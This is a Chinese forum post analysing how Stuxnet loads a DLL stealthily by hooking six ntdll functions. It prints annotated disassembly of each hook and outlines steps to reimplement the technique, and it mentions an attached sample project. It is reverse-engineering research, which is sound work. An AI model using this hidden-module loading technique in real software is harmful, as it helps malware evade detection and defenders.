Stuxnet出来很久很久了,之前看过分析文档,觉得它的加载DLL的方式比较有意思,一直没有时间来整,近段时间比较空闲,于是就有了这篇文章
首先,Stuxnet加载DLL的方式,不是传统的PE LOADER,而是将一片内容重新映射,这样做的效果就是,映射过后,这个DLL没有出现在模块列表中,但是可以GetProcAddress获得DLL的导出函数,Stuxnet调用15号导出函数就是这么干的。
Stuxnet的做法如下:
HOOK了6个ntdll的函数,分别为:
ZwCreateSection
ZwClose
ZwMapViewOfSection
ZwOpenFile
ZwQueryAttributesFile
ZwQuerySection
这6个函数在LoadLibray执行中调用。
在分析6个HOOK函数时,首先要知道的是:
ZwCreateSection后MapViewOfFile,不ZwClose,直接UnMapViewOfFile,那么第二次Map的时候,返回的就是上次映射的内存,我觉得这就是Stuxnet这种调用方式的核心。
在调试Stuxnet过程中,依次对这几个函数下断点,可以发现LoadLibraryW有这样的执行顺序:
1.查找文件(ZwQueryAttributesFile)
2.打开文件(ZwOpenFile)
3.创建Section(ZwCreateSection)
4.填充某些信息(ZwQuerySection)
5.关闭文件(ZwClose)
6.映射内存(ZwMapViewOfSection)
7.关闭section(ZwClose)
HOOK上面这些函数,Stuxnet还准备了:一个假的文件句柄,一个没有Close的Section句柄,以及QuerySection需要的数据
Stuxnet HOOK写得不错,直接把一段Shellcode考到NTDLL中,统一了HOOK的入口,在入口中再判断,跳转到对应的HOOK流程,如下:
.text:10001B87 loc_10001B87: ; DATA XREF: sub_100017F5+108o
.text:10001B87 ; .text:off_10001AB2o
.text:10001B87 pop edx
.text:10001B88 test dl, dl
.text:10001B8A jz short loc_10001BB1 ; ZwMapViewOfSection
.text:10001B8C dec dl
.text:10001B8E jz loc_10001C16 ; ZwCreateSection
.text:10001B94 dec dl
.text:10001B96 jz loc_10001C57 ; ZwOpenFile
.text:10001B9C dec dl
.text:10001B9E jz loc_10001CA2 ; ZwClose
.text:10001BA4 dec dl
.text:10001BA6 jz loc_10001CEC ; ZwQueryAttributesFile
.text:10001BAC jmp loc_10001D3D ; ZwQuerySection
首先是 ZwQueryAttributesFile
.text:10001CF5 push eax
.text:10001CF6 push edx
.text:10001CF7 push edi
.text:10001CF8 mov edi, [esp+14h]
.text:10001CFC call CompareName
.text:10001D01 pop edi
.text:10001D02 pop edx
.text:10001D03 test eax, eax
.text:10001D05 jz short loc_10001D1A
.text:10001D07 pop eax
.text:10001D08 test edx, edx
.text:10001D0A jz short loc_10001D17
.text:10001D0C mov edx, [esp+0Ch]
.text:10001D10 [COLOR="red"] mov dword ptr [edx+20h], 80h[/COLOR]
.text:10001D17
.text:10001D17 loc_10001D17: ; CODE XREF: .text:10001D0Aj
.text:10001D17 xor eax, eax
.text:10001D19 retn
.text:10001D1A ; ---------------------------------------------------------------------------
.text:10001D1A
.text:10001D1A loc_10001D1A: ; CODE XREF: .text:10001D05j
.text:10001D1A pop eax
.text:10001D1B
.text:10001D1B loc_10001D1B: ; CODE XREF: .text:10001CF3j
.text:10001D1B push edx
.text:10001D1C call sub_10001DF1
.text:10001D21 cmp dword ptr [edx+4], 0
.text:10001D25 jnz short loc_10001D30
.text:10001D27 pop edx
.text:10001D28 lea edx, [esp+8]
.text:10001D2C int 2Eh ; DOS 2+ internal - EXECUTE COMMAND
.text:10001D2C ; DS:SI -> counted CR-terminated command string
.text:10001D2E jmp short locret_10001D3C
.text:10001D30 ; ---------------------------------------------------------------------------
.text:10001D30
.text:10001D30 loc_10001D30: ; CODE XREF: .text:10001D25j
.text:10001D30 pop edx
.text:10001D31 lea edx, [esp+8]
.text:10001D35 call large dword ptr fs:0C0h
.text:10001D3C
.text:10001D3C locret_10001D3C: ; CODE XREF: .text:10001D2Ej
.text:10001D3C retn
执行流程很明了,判断文件名,如果是的话,直接FileInformation->FileAttributes=0x80;
否则,调用int 2e,执行原来的流程
ZwOpenFile
.text:10001C60 push eax
.text:10001C61 push edi
.text:10001C62 mov edi, [esp+18h]
.text:10001C66 call CompareName
.text:10001C6B mov edx, eax
.text:10001C6D pop edi
.text:10001C6E pop eax
.text:10001C6F test edx, edx
.text:10001C71 jz short loc_10001C80
.text:10001C73 mov eax, [esp+8]
.text:10001C77 mov dword ptr [eax], 0AE1982AEh
.text:10001C7D xor eax, eax
.text:10001C7F retn
.text:10001C80 ; ---------------------------------------------------------------------------
.text:10001C80
.text:10001C80 loc_10001C80: ; CODE XREF: .text:10001C5Ej
.text:10001C80 ; .text:10001C71j
.text:10001C80 push edx
.text:10001C81 call sub_10001DF1
.text:10001C86 cmp dword ptr [edx+4], 0
.text:10001C8A jnz short loc_10001C95
.text:10001C8C pop edx
.text:10001C8D lea edx, [esp+8]
.text:10001C91 int 2Eh ; DOS 2+ internal - EXECUTE COMMAND
.text:10001C91 ; DS:SI -> counted CR-terminated command string
.text:10001C93 jmp short locret_10001CA1
.text:10001C95 ; ---------------------------------------------------------------------------
.text:10001C95
.text:10001C95 loc_10001C95: ; CODE XREF: .text:10001C8Aj
.text:10001C95 pop edx
.text:10001C96 lea edx, [esp+8]
.text:10001C9A call large dword ptr fs:0C0h
.text:10001CA1
.text:10001CA1 locret_10001CA1: ; CODE XREF: .text:10001C93j
.text:10001CA1 retn
.text:10001CA2 ; ---------------------------------------------------------------------------
.text:10001CA2
.text:10001CA2 loc_10001CA2: ; CODE XREF: .text:10001B9Ej
.text:10001CA2 [COLOR="Red"]cmp dword ptr [esp+8], 0AE1982AEh[/COLOR]
.text:10001CAA jnz short loc_10001CAF
.text:10001CAC xor eax, eax
.text:10001CAE retn
同理,判断是否是要打开的文件,如果是,则返回假文件句柄
ZwCreateSection
.text:10001C16 [COLOR="red"]cmp dword ptr [esp+20h], 0AE1982AEh[/COLOR].text:10001C1E jnz short loc_10001C35
.text:10001C20 call GetFakeData
.text:10001C25 test edx, edx
.text:10001C27 jz short loc_10001C35
.text:10001C29 mov edx, [edx+8]
.text:10001C2C mov eax, [esp+8]
[COLOR="red"].text:10001C30 mov [eax], edx[/COLOR]
.text:10001C32 xor eax, eax
.text:10001C34 retn
.text:10001C35 ; ---------------------------------------------------------------------------
.text:10001C35
.text:10001C35 loc_10001C35: ; CODE XREF: .text:10001C1Ej
.text:10001C35 ; .text:10001C27j
.text:10001C35 push edx
.text:10001C36 call sub_10001DF1
.text:10001C3B cmp dword ptr [edx+4], 0
.text:10001C3F jnz short loc_10001C4A
.text:10001C41 pop edx
.text:10001C42 lea edx, [esp+8]
.text:10001C46 int 2Eh ; DOS 2+ internal - EXECUTE COMMAND
.text:10001C46 ; DS:SI -> counted CR-terminated command string
.text:10001C48 jmp short locret_10001C56
.text:10001C4A ; ---------------------------------------------------------------------------
.text:10001C4A
.text:10001C4A loc_10001C4A: ; CODE XREF: .text:10001C3Fj
.text:10001C4A pop edx
.text:10001C4B lea edx, [esp+8]
.text:10001C4F call large dword ptr fs:0C0h
.text:10001C56
.text:10001C56 locret_10001C56: ; CODE XREF: .text:10001C48j
.text:10001C56 retn
首先,判断文件句柄是不是假文件句柄,如果是的话,返回之前没有Close的Section句柄
ZwQuerySection
:10001D3D call GetFakeData
.text:10001D42 test edx, edx
.text:10001D44 push edx
.text:10001D45 jz short loc_10001D8C
.text:10001D47 mov edx, [edx+8]
.text:10001D4A [COLOR="red"]cmp edx, [esp+0Ch][/COLOR]
.text:10001D4E jnz short loc_10001D8C
.text:10001D50 cmp dword ptr [esp+10h], 1
.text:10001D55 jnz short loc_10001D8C
[COLOR="red"].text:10001D57 cmp dword ptr [esp+18h], 30h
.text:10001D5C jl short loc_10001D85[/COLOR]
.text:10001D5E pop edx
.text:10001D5F push ecx
.text:10001D60 push esi
.text:10001D61 push edi
[COLOR="red"].text:10001D62 lea esi, [edx+50h]
.text:10001D65 mov edi, [esp+1Ch]
.text:10001D69 mov ecx, 30h
.text:10001D6E rep movsb[/COLOR]
.text:10001D70 pop edi
.text:10001D71 pop esi
.text:10001D72 pop ecx
.text:10001D73 mov eax, [esp+18h]
.text:10001D77 cmp eax, 0
.text:10001D7A jz short loc_10001D82
.text:10001D7C mov dword ptr [eax], 30h
.text:10001D82
.text:10001D82 loc_10001D82: ; CODE XREF: .text:10001D7Aj
.text:10001D82 xor eax, eax
.text:10001D84 retn
.text:10001D85 ; ---------------------------------------------------------------------------
.text:10001D85
.text:10001D85 loc_10001D85: ; CODE XREF: .text:10001D5Cj
.text:10001D85 pop edx
.text:10001D86 [COLOR="red"]mov eax, 0C000000Dh[/COLOR]
.text:10001D8B retn
.text:10001D8C loc_10001D8C: ; CODE XREF: .text:10001D45j
.text:10001D8C ; .text:10001D4Ej ...
.text:10001D8C pop edx
.text:10001D8D push edx
.text:10001D8E call sub_10001DF1
.text:10001D93 cmp dword ptr [edx+4], 0
.text:10001D97 jnz short loc_10001DA2
.text:10001D99 pop edx
.text:10001D9A lea edx, [esp+8]
.text:10001D9E int 2Eh ; DOS 2+ internal - EXECUTE COMMAND
.text:10001D9E ; DS:SI -> counted CR-terminated command string
.text:10001DA0 jmp short locret_10001DAE
.text:10001DA2 ; ---------------------------------------------------------------------------
.text:10001DA2
.text:10001DA2 loc_10001DA2: ; CODE XREF: .text:10001D97j
.text:10001DA2 pop edx
.text:10001DA3 lea edx, [esp+8]
.text:10001DA7 call large dword ptr fs:0C0h
.text:10001DAE
.text:10001DAE locret_10001DAE: ; CODE XREF: .text:10001DA0j
.text:10001DAE retn
判断Size是不是0x30,不是的话,返回0C000000Dh,如果section句柄是指定的句柄,是的话,将内存中的PE头相关信息复制到对应的参数
ZwMapViewOfSection
.text:10001BB1 call GetFakeData
.text:10001BB6 test edx, edx
.text:10001BB8 jz short loc_10001BCD
.text:10001BBA push edx
.text:10001BBB mov edx, [edx+8]
.text:10001BBE cmp edx, [esp+0Ch]
.text:10001BC2 jnz short loc_10001BCC
[COLOR="red"].text:10001BC4 mov dword ptr [esp+30h], 40h[/COLOR]
.text:10001BCC
.text:10001BCC loc_10001BCC: ; CODE XREF: .text:10001BC2j
.text:10001BCC pop edx
.text:10001BCD
.text:10001BCD loc_10001BCD: ; CODE XREF: .text:10001BB8j
.text:10001BCD push edx
.text:10001BCE call sub_10001DF1
.text:10001BD3 cmp dword ptr [edx+4], 0
.text:10001BD7 jnz short loc_10001BE2
.text:10001BD9 pop edx
.text:10001BDA lea edx, [esp+8]
.text:10001BDE int 2Eh ; DOS 2+ internal - EXECUTE COMMAND
.text:10001BDE ; DS:SI -> counted CR-terminated command string
.text:10001BE0 jmp short loc_10001BEE
.text:10001BE2 ; ---------------------------------------------------------------------------
.text:10001BE2
.text:10001BE2 loc_10001BE2: ; CODE XREF: .text:10001BD7j
.text:10001BE2 pop edx
.text:10001BE3 lea edx, [esp+8]
.text:10001BE7 call large dword ptr fs:0C0h
.text:10001BEE
.text:10001BEE loc_10001BEE: ; CODE XREF: .text:10001BE0j
.text:10001BEE test eax, eax
.text:10001BF0 jnz short locret_10001C15
.text:10001BF2 call GetFakeData
.text:10001BF7 test edx, edx
.text:10001BF9 jz short loc_10001C13
.text:10001BFB mov edx, [edx+8]
.text:10001BFE cmp edx, [esp+8]
.text:10001C02 jnz short loc_10001C13
.text:10001C04 mov edx, [esp+10h]
.text:10001C08 push edx
.text:10001C09 call GetFakeData
.text:10001C0E mov edx, [edx+0Ch]
[COLOR="red"].text:10001C11 call edx[/COLOR];Fix Relocation
.text:10001C13
.text:10001C13 loc_10001C13: ; CODE XREF: .text:10001BF9j
.text:10001C13 ; .text:10001C02j
.text:10001C13 xor eax, eax
.text:10001C15
.text:10001C15 locret_10001C15: ; CODE XREF: .text:10001BF0j
.text:10001C15 retn
如果是指定section句柄,则修改内存属性为PAGE_EXECUTE_WRITECOPY,接着调用原来函数,再一次判断section句柄,如果匹配,则修正重定位表(测试的时候,忽略了重定位,结果各种加载不上。。。)
最后就是ZwClose
.text:10001CA2 [COLOR="red"] cmp dword ptr [esp+8], 0AE1982AEh[/COLOR].text:10001CAA jnz short loc_10001CAF
.text:10001CAC xor eax, eax
.text:10001CAE retn
.text:10001CAF ; ---------------------------------------------------------------------------
.text:10001CAF
.text:10001CAF loc_10001CAF: ; CODE XREF: .text:10001CAAj
.text:10001CAF call GetFakeData
.text:10001CB4 test edx, edx
.text:10001CB6 jz short loc_10001CCA
.text:10001CB8 push eax
.text:10001CB9 mov eax, [esp+0Ch]
.text:10001CBD [COLOR="red"] cmp [edx+8], eax[/COLOR].text:10001CC0 jnz short loc_10001CC9
.text:10001CC2 mov dword ptr [edx+8], 0
.text:10001CC9
.text:10001CC9 loc_10001CC9: ; CODE XREF: .text:10001CC0j
.text:10001CC9 pop eax
.text:10001CCA
.text:10001CCA loc_10001CCA: ; CODE XREF: .text:10001CB6j
.text:10001CCA push edx
.text:10001CCB call sub_10001DF1
.text:10001CD0 cmp dword ptr [edx+4], 0
.text:10001CD4 jnz short loc_10001CDF
.text:10001CD6 pop edx
.text:10001CD7 lea edx, [esp+8]
.text:10001CDB int 2Eh ; DOS 2+ internal - EXECUTE COMMAND
.text:10001CDB ; DS:SI -> counted CR-terminated command string
.text:10001CDD jmp short locret_10001CEB
.text:10001CDF ; ---------------------------------------------------------------------------
.text:10001CDF
.text:10001CDF loc_10001CDF: ; CODE XREF: .text:10001CD4j
.text:10001CDF pop edx
.text:10001CE0 lea edx, [esp+8]
.text:10001CE4 call large dword ptr fs:0C0h
.text:10001CEB
.text:10001CEB locret_10001CEB: ; CODE XREF: .text:10001CDDj
.text:10001CEB retn
判断是不是文件句柄,如果是的话,直接返回SUCCESS,判断是不是section句柄,如果是的话,将保存的句柄赋0值,然后调用原来的函数关闭
以上就是HOOK的分析过程,重写的思路可以简化为:
1.将某个DLL文件读到内存中,然后按照内存对齐,映射为某片内存,然后反映射。
2.HOOK 上面6个函数
3.调用LoadLibraryW,参数为一个硬盘中不存在的文件
在重写过程中,我仿造Stuxnet这种统一HOOK入口的方式,碰到一个蛋疼的问题,读取参数读取错误,导致堆栈混乱,为了解决这个问题,我给每个函数都加了一个参数,详细见代码。。
附件就是一个实例工程和Stuxnet的IDB,代码很粗糙,已知不足如下:
1.UNICODESTRING的比较,我直接写死了
2.修复重定位表时,只考虑了IMAGE_REL_BASED_HIGHLOW
还有N多BUG,等着各路神人拍砖了
最后,这种调用方式,在最后一步调用LoadLibrayW的时候,不能加路径,只能文件名!加路径的话就OVER了!
我不知道之前是否有牛人分析过,此贴意在抛钻引玉,欢迎拍砖。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课